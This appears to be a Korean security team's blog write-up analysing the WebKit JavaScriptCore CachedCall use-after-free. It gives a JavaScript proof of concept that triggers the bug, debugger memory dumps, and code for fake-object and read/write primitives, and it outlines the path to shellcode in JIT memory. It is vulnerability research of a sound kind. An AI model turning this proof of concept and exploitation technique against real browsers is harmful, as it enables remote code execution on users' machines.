<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">EncodedJSValue</span> <span class="nf">printInternal</span><span class="p">(</span><span class="n">ExecState</span><span class="o">*</span> <span class="n">exec</span><span class="p">,</span> <span class="kt">FILE</span><span class="o">*</span> <span class="n">out</span><span class="p">)</span>
<span class="p">{</span>
    <span class="p">.....</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">exec</span><span class="o">-&gt;</span><span class="n">argumentCount</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span><span class="p">)</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">EOF</span> <span class="o">==</span> <span class="n">fputc</span><span class="p">(</span><span class="sc">' '</span><span class="p">,</span> <span class="n">out</span><span class="p">))</span>
                <span class="k">goto</span> <span class="n">fail</span><span class="p">;</span>

        <span class="n">fprintf</span><span class="p">(</span><span class="n">out</span><span class="p">,</span> <span class="s">"[+] exec-&gt;argument(%d) = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">exec</span><span class="o">-&gt;</span><span class="n">argument</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">toObject</span><span class="p">(</span><span class="n">exec</span><span class="p">));</span> <span class="err">#</span> <span class="n">inserted</span> <span class="n">code</span>

        <span class="k">auto</span> <span class="n">viewWithString</span> <span class="o">=</span> <span class="n">exec</span><span class="o">-&gt;</span><span class="n">uncheckedArgument</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">toString</span><span class="p">(</span><span class="n">exec</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">viewWithUnderlyingString</span><span class="p">(</span><span class="o">*</span><span class="n">exec</span><span class="p">);</span>
        <span class="n">RETURN_IF_EXCEPTION</span><span class="p">(</span><span class="n">scope</span><span class="p">,</span> <span class="n">encodedJSValue</span><span class="p">());</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">fprintf</span><span class="p">(</span><span class="n">out</span><span class="p">,</span> <span class="s">"%s"</span><span class="p">,</span> <span class="n">viewWithString</span><span class="p">.</span><span class="n">view</span><span class="p">.</span><span class="n">utf8</span><span class="p">().</span><span class="n">data</span><span class="p">())</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
            <span class="k">goto</span> <span class="n">fail</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">fputc</span><span class="p">(</span><span class="sc">'\n'</span><span class="p">,</span> <span class="n">out</span><span class="p">);</span>
<span class="nl">fail:</span>
    <span class="n">fflush</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">JSValue</span><span class="o">::</span><span class="n">encode</span><span class="p">(</span><span class="n">jsUndefined</span><span class="p">());</span>
<span class="p">}</span>
</code></pre></div></div>
<p>(사실 이땐 describe()를 비롯한 debugging 함수의 존재 여부도 몰라 이런 번거로운 방법을 썼습니다…ㅠㅠ)</p>

<p>WebKit 빌드 후 JSC 인터프리터에서 아래와 같이 printInternal()에 추가한 코드가 정상적으로 실행되는 것을 확인해야 합니다:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ Tools/Scripts/build-jsc MACOSX_DEPLOYMENT_TARGET=10.11 SDKROOT=macosx10.11 --debug
.....
** BUILD SUCCEEDED **
$ ./WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/Resources/jsc
&gt;&gt;&gt; print("test");
[+] exec-&gt;argument(0) = 0x111dc83e0
test
undefined
&gt;&gt;&gt;
</code></pre></div></div>

<h1 id="3-분석">3. 분석</h1>

<p>JSC는 Mark And Sweep Algorithm을 이용해 GC를 수행합니다.
<img src="/assets/images/mark_and_sweep.gif" alt="Animation Of The Naive Mark And Sweep Garbage Collector Algorithm" /></p>

<p>GC에 수집되지 않을 객체의 경우 마킹을 통해 표시해둠으로써 할당해제를 피할 수 있는데, <a href="https://github.com/WebKit/webkit/blob/4982680/Source/JavaScriptCore/interpreter/CachedCall.h#L73">CachedCall 클래스의 m_arguments</a>은 외부 인터페이스인 GC엔진이 접근할 수 없는 <a href="https://github.com/WebKit/webkit/blob/4982680/Source/WTF/wtf/Vector.h#L581">WTF::Vector</a>라 마킹을 할 수 없어 필요유무와 상관없이 강제로 할당해제됩니다. 그래서 <code class="language-plaintext highlighter-rouge">replaceUsingRegExpSearch()</code>에서 <a href="https://github.com/WebKit/webkit/blob/4982680/Source/JavaScriptCore/runtime/StringPrototype.cpp#L549">cachedCall.setArgument()로 JSString 객체를 m_arguments의 값으로 세팅</a>한 뒤 GC가 발생하면 <a href="https://github.com/WebKit/webkit/blob/4982680/Source/JavaScriptCore/runtime/StringPrototype.cpp#L556">cachedCall.call()이 할당해제된 JSString 객체를 인자로 삽입</a>하게되어 UAF 버그가 발생하는 겁니다.</p>

<p>버그를 증명하기 위해 사용된 PoC 코드는 다음과 같습니다:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">i_want_to_break_free</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">n</span> <span class="o">=</span> <span class="mh">0x10000</span><span class="p">;</span>
    <span class="kd">var</span> <span class="nx">m</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
    <span class="kd">var</span> <span class="nx">regex</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="dl">"</span><span class="s2">(ab)</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">n</span><span class="p">),</span> <span class="dl">"</span><span class="s2">g</span><span class="dl">"</span><span class="p">);</span> <span class="c1">// g flag to trigger the vulnerable path // (ab)(ab)(ab)(ab)(ab)...(ab)</span>
    <span class="kd">var</span> <span class="nx">part</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">ab</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">n</span><span class="p">);</span>                     <span class="c1">// matches have to be at least size 2 to prevent interning</span>
    <span class="kd">var</span> <span class="nx">s</span> <span class="o">=</span> <span class="p">(</span><span class="nx">part</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">|</span><span class="dl">"</span><span class="p">).</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">m</span><span class="p">);</span>                <span class="c1">// ab|ab|ab|ab|ab|ab|ab|....ab|ab|</span>
    <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="kd">var</span> <span class="nx">ary</span> <span class="o">=</span> <span class="p">[];</span>
        <span class="nx">s</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="nx">regex</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
            <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arguments</span><span class="p">.</span><span class="nx">length</span><span class="o">-</span><span class="mi">2</span><span class="p">;</span> <span class="o">++</span><span class="nx">i</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">arguments</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">!==</span> <span class="dl">'</span><span class="s1">string</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
                    <span class="nx">i_am_free</span> <span class="o">=</span> <span class="nx">arguments</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
                    <span class="nx">print</span><span class="p">(</span><span class="nx">arguments</span><span class="p">);</span>
                    <span class="nx">print</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
                    <span class="k">throw</span> <span class="dl">"</span><span class="s2">success</span><span class="dl">"</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="nx">ary</span><span class="p">[</span><span class="nx">cnt</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="nx">arguments</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>  <span class="c1">// root everything to force GC</span>
            <span class="p">}</span>
            <span class="k">return</span> <span class="dl">"</span><span class="s2">x</span><span class="dl">"</span><span class="p">;</span>
        <span class="p">});</span>
    <span class="p">}</span>
<span class="p">}</span>
<span class="k">try</span> <span class="p">{</span> <span class="nx">i_want_to_break_free</span><span class="p">();</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span> <span class="p">}</span>
<span class="nx">print</span><span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="nx">i_am_free</span><span class="p">));</span>  <span class="c1">// will print "object"</span>
</code></pre></div></div>

<p>중간에 추가한 <code class="language-plaintext highlighter-rouge">print()</code> 함수 때문인지 <code class="language-plaintext highlighter-rouge">typeof</code>로 <code class="language-plaintext highlighter-rouge">i_am_free</code>의 자료형을 출력하려고 할 때 <strong>object</strong> 대신 <strong>string</strong>이라고 뜨는 경우가 있습니다. 이는 GC가 발생하지 못한 경우의 수로 몇번 다시 실행해보면 GC가 발생해 CachedCall의 UAF 취약점이 트리거될 것입니다.</p>

<p><img src="/assets/images/gc-or-not-gc.png" alt="GC or not GC" /></p>

<p>lldb로 <code class="language-plaintext highlighter-rouge">i_am_free</code>가 위치한 메모리 영역을 찾아 들어가 값을 조회해 보면 다음과 같습니다:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(lldb) x/4gx 0x0000000115b83fc0 &lt;--------------------- arguments[x-2]
0x115b83fc0: 0x0168060000000004 0x0000000200000001
0x115b83fd0: 0x000000010bbc50a0 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b83fe0 &lt;--------------------- arguments[x-1]
0x115b83fe0: 0x0168060000000004 0x0000000200000001
0x115b83ff0: 0x000000010bbc5080 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b7c0a0 &lt;--------------------- arguments[x] = i_am_free
0x115b7c0a0: 0x0000000000000000 0x00000000badbeef0
0x115b7c0b0: 0x00000000badbeef0 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b7c0c0 &lt;--------------------- arguments[x+1]
0x115b7c0c0: 0x0000000115b7c0a0 0x00000000badbeef0
0x115b7c0d0: 0x00000000badbeef0 0x00000000badbeef0
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">i_am_free</code>는 <code class="language-plaintext highlighter-rouge">0x0000000115b7c0a0</code>에 위치해 있습니다. 다른 주소들은 <code class="language-plaintext highlighter-rouge">arguments</code> 배열 내에서 <code class="language-plaintext highlighter-rouge">i_am_free</code>와 인접해있는 주소들인데, 값을 보시면 <code class="language-plaintext highlighter-rouge">i_am_free</code> 가 할당해제(free)된 JSString 객체를 사용하는 걸로 보입니다. 할당해제된 객체는 JSCell 헤더의 위치에 이전에 할당해제된 주소를 덮어씌우는데 <code class="language-plaintext highlighter-rouge">i_am_free</code>는 첫번째로 할당해제된 주소라 값이 <code class="language-plaintext highlighter-rouge">0x0000000000000000</code> 인 겁니다.</p>

<p>참고로 <code class="language-plaintext highlighter-rouge">0x00000000badbeef0</code> 는 <a href="https://github.com/WebKit/webkit/blob/4982680/Source/JavaScriptCore/runtime/Options.h#L344">JSC가 할당해제된 객체에 덮어씌우는 값</a>입니다.</p>

<p>익스플로잇 과정은 저 할당해제된 영역에 덮어씌워진 주소를 가짜 JSCell 헤더로 만드는 것으로 시작합니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>StructureID m_structureID;           // dword
IndexingType m_indexingTypeAndMisc;  // byte
JSType m_type;                       // byte
TypeInfo::InlineTypeFlags m_flags;   // byte
CellState m_cellState;               // byte

ex) JSCell = 0x0168060000000004
m_structureID         = 0x00000004
m_indexingTypeAndMisc = 0x00
m_type                = 0x06
m_flags               = 0x68
m_cellState           = 0x01
</code></pre></div></div>

<p>여기서 중요한 것은 <code class="language-plaintext highlighter-rouge">m_indexingTypeAndMisc</code>입니다. 이 필드는 객체가 보관하고 있는 값의 자료형을 결정하는 역할을 합니다. 예를 들어 <code class="language-plaintext highlighter-rouge">0x08</code>은 <a href="https://github.com/WebKit/webkit/blob/4982680/Source/JavaScriptCore/runtime/IndexingType.h#L61">ContiguousShape( 혹은 NonArrayWithContiguous라고도 할 수 있음 )</a>니까 값의 자료형은 참조객체(=JSObject)가 됩니다. WebKit 익스플로잇을 위해선 CVE-2016-4622를 소개할 때 썼던 <code class="language-plaintext highlighter-rouge">fakeobj()</code>처럼 가짜객체를 만들 수 있어야 하고, 가짜객체를 만들기 위해선 indexingType의 값이 ContinguousShape 이어야 합니다. 참 다행히도 OS X에서의 Heap 주소는 0x110000000에서 부터 시작해 증가해 나갑니다. 그렇기에 할당해제된 Heap 주소를 JSCell 헤더로 사용해 가짜객체를 만들기 위해선 대략 28GB(=0x700000000) 가량의 Heap 영역 할당이 필요한 겁니다.</p>

<p>추가로, 위에서 PoC 코드에 출력문 몇개를 추가한 것만으로도 취약점의 항상성이 떨어졌었습니다. 익스플로잇 코드의 안전성을 위해선 가능한 한 빌트인되어 있는 API가 아니라 사용자가 직접 정의한 함수들을 사용해야 할 것입니다.</p>

<p>그리고 가짜객체를 통해 R/W Primitive를 구축하는 과정도 약간 복잡해졌습니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Before

   fakearray                             hax
+----------------+                  +----------------+
|  Float64Array  |   +-------------&gt;|  Uint8Array    |
|                |   |              |                |
|  JSCell        |   |              |  JSCell        |
|  butterfly     |   |              |  butterfly     |
|  vector  ------+---+              |  vector        |
|  length        |                  |  length        |
|  mode          |                  |  mode          |
+----------------+                  +----------------+



After

      fakearray                        hax                       hax2
+--------------------+         +------------------+        +--------------+
|  JSObject          |   +----&gt;|  Uint8Array      |  +----&gt;|  Uint8Array  |
|                    |   |     |                  |  |     |              |
|  structureID = 0   |   |     |  JSCell          |  |     |  JSCell      |
|  indexingType = 8  |   |     |  butterfly       |  |     |  butterfly   |
|  &lt;rest of JSCell&gt;  |   |     |  vector       ------+     |  vector      |
|  butterfly       ------+     |  length = 0x100  |        |  length      |
|                    |         |  mode            |        |  mode        |
+--------------------+         +------------------+        +--------------+
</code></pre></div></div>

<p>PoC 코드를 돌려 나온 결과엔 <code class="language-plaintext highlighter-rouge">i_am_free</code>의 Butterfly에 <code class="language-plaintext highlighter-rouge">0x00000000badbeef0</code>가 박혀있지만, <a href="https://github.com/phoenhex/files/blob/8fda033/exploits/cachedcall-uaf.html#L99">힙스프레이 후 살펴보면 Butterfly에 0x200000001이 박혀 있을 겁니다</a>. <code class="language-plaintext highlighter-rouge">0x200000001</code>은 힙스프레이로 뿌려진 영역에 속하는 주소이기에 조작가능합니다. 실제로 익스플로잇 코드를 보면 <a href="https://github.com/phoenhex/files/blob/8fda033/exploits/cachedcall-uaf.html#L43">힙스프레이를 할 때 뿌려진 영역안에서의 위치를 찾기 쉬우라고 offset을 삽입</a>합니다. <code class="language-plaintext highlighter-rouge">0x200000001</code>의 메모리 영역에 <a href="https://github.com/phoenhex/files/blob/8fda033/exploits/cachedcall-uaf.html#L106">container 객체를 삽입하고 주소값을 읽은 뒤</a>, <a href="https://github.com/phoenhex/files/blob/8fda033/exploits/cachedcall-uaf.html#L113">읽어들인 주소값에 16(=QWORD * 2)을 더해 다시 삽입</a>하면 가짜객체가 생성됩니다.</p>

<p><code class="language-plaintext highlighter-rouge">0x200000001</code>을 통해 읽어들인 주소에 offset을 더해 다시 삽입하기 위해선 hax와 hax2가 필요하기 때문에 기존의 R/W Primitive 구축 방식과 차이가 발생하는 겁니다. hax를 통해 hax2의 Vector를 수정함으로써 hax2를 통해 값을 읽어들이거나 쓸 수 있게 되는 겁니다.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 0x200000001을 통해 값을 읽음</span>
<span class="nx">a</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="nx">target_func</span><span class="p">;</span>
<span class="nx">addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">j</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="nx">j</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="o">--</span><span class="nx">j</span><span class="p">)</span>
    <span class="nx">addr</span> <span class="o">=</span> <span class="nx">addr</span><span class="o">*</span><span class="mh">0x100</span> <span class="o">+</span> <span class="nx">buf</span><span class="p">[</span><span class="nx">offset</span> <span class="o">+</span> <span class="nx">j</span><span class="p">];</span>
</code></pre></div></div>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// hax2의 Vector를 통해 값을 읽음</span>
<span class="nx">addr</span> <span class="o">+=</span> <span class="mi">3</span><span class="o">*</span><span class="mi">8</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">j</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="o">++</span><span class="nx">j</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">hax</span><span class="p">[</span><span class="mi">16</span><span class="o">+</span><span class="nx">j</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">;</span>
    <span class="nx">addr</span> <span class="o">/=</span> <span class="mh">0x100</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">j</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="nx">j</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="o">--</span><span class="nx">j</span><span class="p">)</span>
    <span class="nx">addr</span> <span class="o">=</span> <span class="nx">addr</span><span class="o">*</span><span class="mh">0x100</span> <span class="o">+</span> <span class="nx">hax2</span><span class="p">[</span><span class="nx">j</span><span class="p">];</span>
</code></pre></div></div>

<p>분석 과정은 이쯤에서 끝났습니다. CachedCall의 취약점을 통해 할당해제된 영역을 사용할 수 있는데, 할당해제된 영역의 첫 부분에 주소가 삽입되니 힙스프레이를 뿌려 indexingType의 0x08인 가짜 ContiguousShape 객체를 만들곤, 마침 이 가짜 객체의 Butterfly에 해당하는 위치에 힙스프레이로 뿌린 영역에 속하는 주소값이 있으니 이걸로 OOB Read &amp; Write 가 가능하고, 그럼 이제 최대한 힙스프레이로 인해 망가진 Heap 영역을 쓰지 않고 JIT 컴파일된 함수의 코드영역에 쉘코드를 삽입한 뒤 호출하면 끝! 이니까 말입니다.</p>

<p>하지만…..</p>

<h1 id="4-난관">4. 난관</h1>

<p><img src="/assets/images/omg.png" alt="OMG" /></p>

<p>28GB의 힙스프레이는 가상머신에서 돌리기에는 너무나 거대했습니다. 실제 Pwn2Own 때는 RAM 8GB짜리 맥북에서 테스트했다는데 맥의 <a href="https://www.lifewire.com/understanding-compressed-memory-os-x-2260327">메모리 압축기능</a>덕에 적은 메모리로도 익스플로잇이 가능했다고 하나 가상머신에서는 아니었습니다.</p>

<p>다른 멤버 몇 분이 맥북을 소지하고 있었습니다만 전부 OS 버전이 Mojave라 CachedCall 취약점이 내제된 WebKit 버전을 빌드하기 위한 Xcode 구버전을 설치할 수 없었습니다. 실제 업무에도 사용하시는 장비라 OS 다운그레이드도 할 수 없었습니다.</p>

<p>차선책으로 메모리가 큰 Linux VPS를 하나 만든뒤, 거기에서 WebKit을 빌드해 테스트 해볼까 해서, 멤버 한 명이 실제로 <a href="https://www.linode.com/">Linode</a>에서 RAM 64GB 짜리 VPS를 하나 파서 확인해 보았으나, Linux는 Heap주소에 걸린 ASLR 때문에 indexingType을 0x08로 맞출 수 없어 돈만 날리고 실패했다는 슬픈 사연이 있습니다. 이후에도 <a href="https://www.macincloud.com/">MAC용 VPS 서비스</a>가 있다는 걸 알게되어 한 번 시도해볼까 고민해봤으나 메모리 압축기능이 과연 가상서버에서도 제대로 동작할까, 또 돈만 날리는 게 아닐까 하는 두려움에 아직까지 선뜻 시도해보지는 못했습니다.</p>

<h1 id="5-후기">5. 후기</h1>

<p>혹시 남는 맥 있으신 분께선 <a href="https://github.com/phoenhex/files/blob/8fda033/exploits/cachedcall-uaf.html">Poc 코드</a> 돌려서 확인해 보시고 알려주시면 감사하겠습니다.</p>]]></content><author><name>null2root</name></author><category term="blog" /><category term="browser" /><summary type="html"><![CDATA[작성 - LiLi, y0ny0ns0n, powerprove, cheese @ null2root]]></summary></entry></feed>